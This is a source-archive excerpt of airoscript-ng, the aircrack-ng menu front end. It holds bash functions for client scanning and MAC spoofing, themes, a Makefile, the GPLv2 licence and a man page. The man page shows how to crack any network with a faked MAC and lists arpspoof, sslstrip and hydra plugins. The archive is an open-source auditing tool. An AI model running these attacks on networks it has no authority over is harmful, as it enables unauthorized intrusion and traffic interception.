auto_scan_clients; select_client; break;; 2 ) dynamic_client_selection=1; break;; 3 ) single_question $"Type in client mac now"; Client_MAC="$ans"; set -- ${Client_MAC} ; break ;; 4 ) Client_MAC=""; break ;; * ) echo -e $"Unknown response. Try again";; esac done } auto_scan_clients(){ rm $DUMP_PATH/Client_$Host_MAC* &>/dev/null launch_counter $time_to_scan "clients" & INTERACTIVE=0; AUTO=2; QUIET=1; NOTITLE=1; wait_for_execute=0 execute "" $AIRODUMP --ignore-negative-one --bssid $Host_MAC -w $DUMP_PATH/Client_$Host_MAC -c $Host_CHAN -a $wifi sleep $time_to_scan && killall -2 "airodump-ng"; export SCAN=0; AUTO=0; QUIET=""; NOTITLE=0 } get_clients(){ rm $DUMP_PATH/Client_${Host_MAC}_all.csv cat $DUMP_PATH/Client_${Host_MAC}*.csv > $DUMP_PATH/Client_${Host_MAC}_all.csv while read line; do IFS=',' read -a line_ <<< "$line" [[ ${line[2]} =~ ${Host_MAC} ]] && [[ ${line[1]} != "00:00:00:00" ]] && echo ${line[1]} done < $DUMP_PATH/Client_${Host_MAC}_all.csv echo "None" "Rescan" } i_have_to_return() { # TODO: Move this to internal if [ "$AUTO" == "1" ]; then return 0; fi; return 1; } select_client(){ i_have_to_return && return while [ "1" ]; do mkmenu $"Select client" $(get_clients) (( $choice < $(( ${#HOST[@]} + 3 )) )) && break done IFS=, read -a elem <<< ${HOST[$choice-1]}; Client_MAC=${elem[1]}; (( $choice == $(( ${#HOST[@]} + 1 )) )) && { change_mac $wificard $FAKE_MAC; Client_MAC=""; directed=0; return; } (( $choice == $(( ${#HOST[@]} + 2 )) )) && { auto_scan_clients; select_client; return; } { change_mac $wifi $Client_MAC change_mac $iwifi $Client_MAC change_mac $wificard $Client_MAC } &>/dev/null } aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/functions/internal/childs0000644000000000000000000000243212216362125024776 0ustar rootroot# Child management file used by airoscript # Copyright (C) 2010-2011 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software get_childs(){ while read r; do [[ $r =~ (.*)$1(.*) ]] && { [[ $BASH_REMATCH[1] != $2 ]] && echo $BASH_REMATCH[1]; } done < <(ps -eo ppid,pid) } clean_processes(){ for i in /var/run/airoscript/*; do i=$(basename $i); kill -2 $i; rm /var/run/airoscript/$i; done; } save_pids(){ mkdir /var/run/airoscript 2>/dev/null for i in `get_childs $1`; do touch "/var/run/airoscript/$i"; done } cleanp(){ sleep $autopwn_sleep && clean_processes } aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/themes/0000755000000000000000000000000012660222377021254 5ustar rootrootaircrack-ng-1.2-rc4/scripts/airoscript-ng/src/themes/default.theme0000644000000000000000000000353312271675067023736 0ustar rootroot# Copyright (C) 2009 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # Along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # FIXME the separator stuff still won't fit well :( DUMPING_COLOR="white" INJECTION_COLOR="green" ASSOCIATION_COLOR="red" DEAUTH_COLOR="blue" BACKGROUND_COLOR="black" separator=" " separator_h="─" separator_v="│" separator_tl="╭" separator_tr="╮" separator_br="╯" separator_bl="╰" mark=$'[\e[0;31m+\e[0m] ' red=$'\e[0;31m' white=$'\e[1;37m' lgrey=$'\e[1;27m' end=$'\e[0m' airoscript_ascii_art(){ p=$'\e[5m'; g=$'\e[0;32m';r=$'\e[0;31m';w=$'\e[1;37m';e=$'\e[0m'; echo -e " $r (( (o) )) $w+-------$r$bold/|\\$w---+\t$end ___ _ _ _ $w|$g >$r /\|/\ $w|\t / _ \(_) (_) | | $w|$r /\_|_/\ $w| \t / /_\ \_ _ __ ___ ___ ___ _ __ _ _ __ | |_ $w|$r /\__|__/\\$w| \t | _ | | '__/ _ \/ __|/ __| '__| | '_ \| __| $w+--------$r|$w----+ \t | | | | | | | (_) \__ \ (__| | | | |_) | |_ \t \_| |_/_|_| \___/|___/\___|_| |_| .__/ \__| \t | | \t |_|"; } aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/themes/minimal.theme0000644000000000000000000000332511617120331023715 0ustar rootroot# Copyright (C) 2009 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # Along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. DUMPING_COLOR="white" INJECTION_COLOR="green" ASSOCIATION_COLOR="red" DEAUTH_COLOR="blue" BACKGROUND_COLOR="black" separator="" separator_h="" separator_v="" mark=$'[\e[0;31m+\e[0m] ' red=$'\e[0;31m' white=$'\e[1;37m' lgrey=$'\e[1;27m' end=$'\e[0m' airoscript_ascii_art(){ p=$'\e[5m'; g=$'\e[0;32m';r=$'\e[0;31m';w=$'\e[1;37m';e=$'\e[0m'; echo -e " $r (( (o) )) $w+-------$r$bold/|\\$w---+\t$end ___ _ _ _ $w|$g >$r /\|/\ $w|\t / _ \(_) (_) | | $w|$r /\_|_/\ $w| \t / /_\ \_ _ __ ___ ___ ___ _ __ _ _ __ | |_ $w|$r /\__|__/\\$w| \t | _ | | '__/ _ \/ __|/ __| '__| | '_ \| __| $w+--------$r|$w----+ \t | | | | | | | (_) \__ \ (__| | | | |_) | |_ \t \_| |_/_|_| \___/|___/\___|_| |_| .__/ \__| \t | | \t |_|"; } aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/themes/inverse.theme0000644000000000000000000000416211617120331023742 0ustar rootroot# Colors: #Dumping White #FFFFFF # #Injection Green #1DFF00 # #Association Red #FF0009 # #Deauth Blue #99CCFF # #Background Black #000000 # Copyright (C) 2009 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # Along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. DUMPING_COLOR="black" INJECTION_COLOR="green" ASSOCIATION_COLOR="red" DEAUTH_COLOR="blue" BACKGROUND_COLOR="white" separator=" " separator_h="-" separator_v="|" separator_x="+" mark=$'[\e[0;31m+\e[0m] ' red=$'\e[0;31m' white=$'\e[1;37m' lgrey=$'\e[1;27m' end=$'\e[0m' airoscript_ascii_art(){ p=$'\e[5m'; g=$'\e[0;32m';r=$'\e[0;31m';w=$'\e[1;37m';e=$'\e[0m'; echo -e " $r (( (o) )) $w+-------$r$bold/|\\$w---+\t$end ___ _ _ _ $w|$g >$r /\|/\ $w|\t / _ \(_) (_) | | $w|$r /\_|_/\ $w| \t / /_\ \_ _ __ ___ ___ ___ _ __ _ _ __ | |_ $w|$r /\__|__/\\$w| \t | _ | | '__/ _ \/ __|/ __| '__| | '_ \| __| $w+--------$r|$w----+ \t | | | | | | | (_) \__ \ (__| | | | |_) | |_ \t \_| |_/_|_| \___/|___/\___|_| |_| .__/ \__| \t | | \t |_|"; } aircrack-ng-1.2-rc4/scripts/airoscript-ng/Readme.rst0000777000000000000000000000000012660222377023620 2doc/Readme.rstustar rootrootaircrack-ng-1.2-rc4/scripts/airoscript-ng/Makefile0000644000000000000000000000677612434667305020663 0ustar rootroot#!/usr/bin/make # Configure prefix here: prefix=$(DESTDIR)/usr/local/ etcdir=$(DESTDIR)/usr/local/etc/ name="airoscript-ng" INSTALL = install -c INSTALLDATA = install -c -m 644 INSTALLBIN = install -c -m 755 data=$(prefix)/share bindir=$(prefix)/sbin/ picdir=$(data)/pixmaps/ appdir=$(data)/applications/ locale=$(data)/locale mandir=$(data)/man docdir=$(data)/doc/$(name) datadir=$(data)/$(name)/ srcdir=./src install: installdirs\ install-binary \ install-config \ install-docs \ install-locale \ install-desktop installdirs: @$(SHELL) ./.mkinstalldirs $(bindir) $(datadir) \ $(docdir)/html/images $(etcdir) \ $(docdir)/html/css \ $(mandir)/man1 $(locale) \ $(datadir)/themes $(picdir) $(appdir) \ $(datadir)/plugins \ $(datadir)/extras \ $(datadir)/templates install-config: @$(INSTALLDATA) $(srcdir)/conf/airoscript-ng.conf $(etcdir) @$(INSTALLDATA) $(srcdir)/conf/airoscript-ng_debug.conf $(etcdir) @$(INSTALLDATA) $(srcdir)/conf/airoscript-ng_advanced.conf $(etcdir) ifeq ($(package),yes) @$(INSTALLDATA) $(srcdir)/conf/airoscript-ng_packaged.conf $(etcdir) endif install-binary: @echo "Installing airoscript" @$(INSTALLBIN) $(srcdir)/airoscript-ng $(bindir)/$(name) @cp -r $(srcdir)/functions/* $(datadir) @echo "Installing themes" @cp -r $(srcdir)/templates/* $(datadir)/templates @$(INSTALLDATA) $(srcdir)/themes/*.theme $(datadir)/themes @echo "Installing plugins" @$(INSTALLDATA) $(srcdir)/plugins/* $(datadir)/plugins @echo "Installing extras" @cp -r $(srcdir)/extras/* $(datadir)/extras @cp -r $(srcdir)/extras/completions/* $(datadir)/extras/completions install-docs: @echo "Installing documentation" @echo "\t Installing standard documentation" @for i in doc/* ; do if [ -d $$i ] && [ $$i != "." ] && [ $$i != ".." ]; then make -s -C $$i docdir="$(docdir)" INSTALLDATA="$(INSTALLDATA)" ; else $(INSTALLDATA) $$i $(docdir) ;fi ; done @# This will install any manpage on manpages dir. (Just man1 manpages) @echo "\t Installing manpages" @for i in $(docdir)/*.1 ; do $(INSTALLDATA) $$i $(mandir)/man1/ ; done @echo "\t Installing artwork" @$(INSTALLDATA) $(srcdir)/goodies/airoscriptlogo.png $(docdir)/airoscript-ng.png install-desktop: @install $(srcdir)/goodies/airoscript-ng.desktop $(appdir)/ @install $(srcdir)/goodies/airoscript-ng_gtk.desktop $(appdir)/ @$(INSTALLDATA) src/goodies/airoscriptlogo.png $(picdir)/airoscript-ng.png @xdg-desktop-menu install $(appdir)/airoscript-ng.desktop @xdg-desktop-menu install $(appdir)/airoscript-ng_gtk.desktop generate-locale: @for i in $(srcdir)/locale/* ; do \ if [ -d $$i ] && [ $$i != "." ] && [ $$i != ".." ]; then \ make -s -C $$i &> /dev/null ; \ fi ; \ done install-locale: generate-locale @echo "Installing locales" @for i in $(srcdir)/locale/* ; do \ if [ -d $$i ] && [ $$i != "." ] && [ $$i != ".." ]; then \ make -s -C $$i install localedir="$(locale)" INSTALLDATA="$(INSTALLDATA)" ; \ fi ; \ done uninstall: @rm -f $(bindir)/$(name) @rm -f $(etcdir)/airoscript-ng*.conf @rm -rf $(datadir) @rm -rf $(docdir) @rm -f $(mandir)/man1/airoscript-ng.1 @rm -f $(picdir)/airoscript-ng.png $(picdir)/airoscript-ng.desktop $(picdir)/airoscript-ng_gtk.desktop @for i in $(docdir)/*.1 ; do rm -rf $(mandir)/man1/$$i ; done @for i in $(srcdir)/locale/* ; do \ if [ -d $$i ] && [ $$i != "." ] && [ $$i != ".." ]; then \ make -s -C $$i uninstall localedir="$(locale)" ; \ fi ; \ done @echo "Uninstalled succesfully" all: install .PHONY: all install uninstall locale manpages aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/0000755000000000000000000000000012660222377017745 5ustar rootrootaircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/license0000644000000000000000000004310611553667335021325 0ustar rootroot GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. , 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/authors0000644000000000000000000000057311553667335021371 0ustar rootrootAuthors ------- - David Francos Cuartero (XayOn) - Daouid Other contributors =================== - CurioCT - Befa - Mister_X - ASPj - Hirte - Goldfish - ml2 - andreahaku - Pilotsnipes - Larry Hajali - STOUF - Ahmed El-Mahmoudy. Note that not every contributor is listed here, thanks to all those too. aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/airoscript-ng.10000644000000000000000000001524212201437117022603 0ustar rootroot.\" Man page generated from reStructeredText. . .TH AIROSCRIPT-NG 1 "2011-11-17" "1.1" "net" .SH NAME Airoscript-ng \- User interface to aircrack-ng . .nr rst2man-indent-level 0 . .de1 rstReportMargin \\$1 \\n[an-margin] level \\n[rst2man-indent-level] level margin: \\n[rst2man-indent\\n[rst2man-indent-level]] - \\n[rst2man-indent0] \\n[rst2man-indent1] \\n[rst2man-indent2] .. .de1 INDENT .\" .rstReportMargin pre: . RS \\$1 . nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin] . nr rst2man-indent-level +1 .\" .rstReportMargin post: .. .de UNINDENT . RE .\" indent \\n[an-margin] .\" old: \\n[rst2man-indent\\n[rst2man-indent-level]] .nr rst2man-indent-level -1 .\" new: \\n[rst2man-indent\\n[rst2man-indent-level]] .in \\n[rst2man-indent\\n[rst2man-indent-level]]u .. .SH SYNOPSIS .sp airoscript\-ng [\-h] [\-t TERMINAL] [\-v] [\-w WIRELESS_CARD] [\-b] [\-m fakemac|realmac] [\-a] [\-n FILTER] [\-x] [\-z] [\-p PLUGIN_FILE] .SH DESCRIPTION .sp Airoscript is a complete user interface for aircrack\-ng. .sp It gives you almost all functionality that aircrack\-ng has, allowing you to save some time from writting commands. Writing commands may be good to learn how does it work, but repeatedly doing so can damage your mind and your body. .sp Airoscript also provides a comprehensive way to generate CEO\-readable network security reports, writable (by wkhtml2pdf plugin) as pdf. .SH OPTIONS .INDENT 0.0 .TP .B \-h Show this message .TP .BI \-t \ terminal Specify terminal .TP .B \-v Verbose & debug mode .TP .BI \-w \ wireless_card Specify wifi card .TP .B \-b Writes a csv file with network data. .TP .BI \-m \ mac_mode Change mac to fakemac before everything else. (mac mode can be fakemac or realmac) .TP .B \-a Automatic mode .TP .BI \-n \ regex Filter SSID by regex .TP .B \-x Autoconfigure network after automatic crack (requires \-a) .TP .B \-z Don\(aqt scan automatically at start .UNINDENT .SH EXAMPLES .sp Crack the first of all my test networks using my own mac .INDENT 0.0 .INDENT 3.5 .sp .nf .ft C airoscript\-ng \-w wlan0 \-m realmac \-n "XayOnTest_(.*)" .ft P .fi .UNINDENT .UNINDENT .sp Try to crack any network with faked mac. Warning, this may conduct you to commit a crime .INDENT 0.0 .INDENT 3.5 .sp .nf .ft C airoscript\-ng \-w wlan0 \-m fakemac \-a .ft P .fi .UNINDENT .UNINDENT .\" The following one is a little bigger .\" - It loads digenpy plugin (wich means that if a network can be cracked with a dictionary provided by digenpy, it will wait for only FOUR packages, then crack it with dict) .\" - It forces to use xterm interface (wich, by the way, is the default stuff) .\" - Uses wlan1 as interface .\" - Writes a csv file with the network data for posterior analysis .\" - Uses your real mac .\" - Starts debugging mode (it just prints out more information than usual (ugly as hell, meant for dev)) .\" - Autoconfigures network after cracking. This SHOULD NOT DO ANYTHING IN THIS EXAMPLE (auto mode), as at the end of automatic mode, it already asks you to configure it. .\" .\" airoscript-ng -t xterm -v -w wlan1 -b -m realmac -a -n "XayOn_" -x -pdigenpy . .SH DEVELOPERS .nf Help and feedback is greatly appreciated. Please feel free to mail XayOn at \fI\%xayon@xayon.net\fP .fi .sp .SH COMPLIANCE .sp In the wrong hands, airoscript and aircrack\-ng could easily violate the government certification of your radio. .sp A simple example is running injection on frequencies your radio isn\(aqt certified for in your geographic region. .sp You and only you are responsible for making sure that your tools \fIincluding\fP \fIairoscript\fP are compliant with the regulations in your country and region. .SH BUGS AND FEATURE REQUESTS .sp Please submit bugs in aircrack\-ng trac or aircrack\-ng oficial forum "airoscript support" subforum. .SH MENU USAGE .sp Airoscript\-ng menu is quite intuitive, and it\(aqs documented in the html docs. .sp Since version 1.1 is able to queue commands, that is, you can tell it to do 1 then 2 in a menu just by entering "1 2" (without the quotes). .SH CONFIGURATION .sp There are 2 configuration files, airoscript\-ng.conf and airoscript\-ng_advanced.conf that are well explained within them. .\" this is for the manpage, sorry for the inconvenience . .SH REQUIREMENTS (DEPS) .SS Build\-deps .sp gettext .SS Deps: .nf GNU gettext (gettext package) ip (iproute package) aircrack\-ng (same version as airoscript\-ng) \fIWorking\fP injection capable driver for the interface you want to use mrxvt|xterm|gnome\-terminal \-> Preferibly xterm aircrack\-ng ( = airoscript\-ng_version) ) bash ( >4.0 ) iproute ( /bin/ip ) .fi .sp .SS Recommended .nf digenpy ( \fI\%http://github.com/XayOn/Digenpy\fP ) # Depends on python 2.6 macchanger mdk .fi .sp .SH PLUGIN SUPPORT .sp Airoscript supports plugins, shell scripts listed in enabled_plugins on airoscript configuration (use the full path there). .sp Since svn revision 1969 airoscript\-ng has a plugin menu, wich will make you able to enable any plugin after airoscript has been started just by selecting it. .sp Currently (at 1991) the plugin list that comes out with airoscript is: .INDENT 0.0 .INDENT 3.5 .INDENT 0.0 .IP \(bu 2 arpspoof \-\-> Enables arp spoof menu .IP \(bu 2 digenpy \-\-> Enables digenpy dictionary generator for cracking .IP \(bu 2 dsniff \-\-> launches dsniff (better use it with arpspoof and sslstrip) .IP \(bu 2 hydra \-\-> Configures network, then launches hydra to get router password .IP \(bu 2 iptables \-\-> Configures iptables to redirect trough it (needed for arpspoof sslstrip) .IP \(bu 2 johntheripper \-\-> Enables john the ripper to generate password lists for cracking WPA .IP \(bu 2 mdk3 \-\-> Enables mdk3 menu .IP \(bu 2 sslstrip \-\-> Enables sslstrip menu .IP \(bu 2 tcpdstat \-\-> When making a report, includes tcpdstat\(aqs protocol statistics .IP \(bu 2 wkhtmltopdf \-\-> Converts reports to pdf .IP \(bu 2 zenity \-\-> Enables a zenity\-based graphical interface for airoscript\-ng (needs also libnotify\-bin) .IP \(bu 2 pyrit \-\-> a raw interface for pyrit, requires pyrit knowledge .UNINDENT .UNINDENT .UNINDENT .SH CREATING A PLUGIN .sp For a plugin to add a menu entry, you\(aqll have to set $plugins_menu["Title of the menu you want to use"] to an array of the entries you want to add. .sp Have a look at \fI\%http://xayon.net/adding\-nessus\-support\-to\-airoscript/\fP for a more complete tutorial. .SH SEE ALSO .nf airoscript.conf(1) airdecap\-ng(1) airdriver\-ng(1) aireplay\-ng(1) airmon\-ng(1) airodump\-ng(1) airolib\-ng(1) airsev\-ng(1) airtun\-ng(1) buddy\-ng(1) easside\-ng(1) ivstools(1) 